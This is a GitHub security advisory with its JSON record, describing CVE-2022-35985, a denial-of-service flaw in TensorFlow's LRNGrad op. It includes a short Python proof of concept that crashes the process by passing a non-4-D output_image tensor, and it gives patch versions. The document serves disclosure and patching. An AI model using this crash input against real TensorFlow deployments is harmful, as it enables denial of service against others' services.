ghsa-9942-r22v-78cp
Vulnerability from github
Impact
If LRNGrad is given an output_image input tensor that is not 4-D, it results in a CHECK fail that can be used to trigger a denial of service attack.
python
import tensorflow as tf
depth_radius = 1
bias = 1.59018219
alpha = 0.117728651
beta = 0.404427052
input_grads = tf.random.uniform(shape=[4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033)
input_image = tf.random.uniform(shape=[4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033)
output_image = tf.random.uniform(shape=[4, 4, 4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033)
tf.raw_ops.LRNGrad(input_grads=input_grads, input_image=input_image, output_image=output_image, depth_radius=depth_radius, bias=bias, alpha=alpha, beta=beta)
Patches
We have patched the issue in GitHub commit bd90b3efab4ec958b228cd7cfe9125be1c0cf255.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University
{
"affected": [
{
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"ecosystem": "PyPI",
"name": "tensorflow"
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],
"aliases": [
"CVE-2022-35985"
],
"database_specific": {
"cwe_ids": [
"CWE-617"
],
"github_reviewed": true,
"github_reviewed_at": "2022-09-16T22:29:52Z",
"nvd_published_at": "2022-09-16T22:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nIf `LRNGrad` is given an `output_image` input tensor that is not 4-D, it results in a `CHECK` fail that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\ndepth_radius = 1\nbias = 1.59018219\nalpha = 0.117728651\nbeta = 0.404427052\ninput_grads = tf.random.uniform(shape=[4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033)\ninput_image = tf.random.uniform(shape=[4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033)\noutput_image = tf.random.uniform(shape=[4, 4, 4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033)\ntf.raw_ops.LRNGrad(input_grads=input_grads, input_image=input_image, output_image=output_image, depth_radius=depth_radius, bias=bias, alpha=alpha, beta=beta)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [bd90b3efab4ec958b228cd7cfe9125be1c0cf255](https://github.com/tensorflow/tensorflow/commit/bd90b3efab4ec958b228cd7cfe9125be1c0cf255).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University\n",
"id": "GHSA-9942-r22v-78cp",
"modified": "2022-09-19T19:39:32Z",
"published": "2022-09-16T22:29:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-9942-r22v-78cp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35985"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/bd90b3efab4ec958b228cd7cfe9125be1c0cf255"
},
{
"type": "PACKAGE",
"url": "https://github.com/tensorflow/tensorflow"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "TensorFlow vulnerable to `CHECK` fail in `LRNGrad`"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.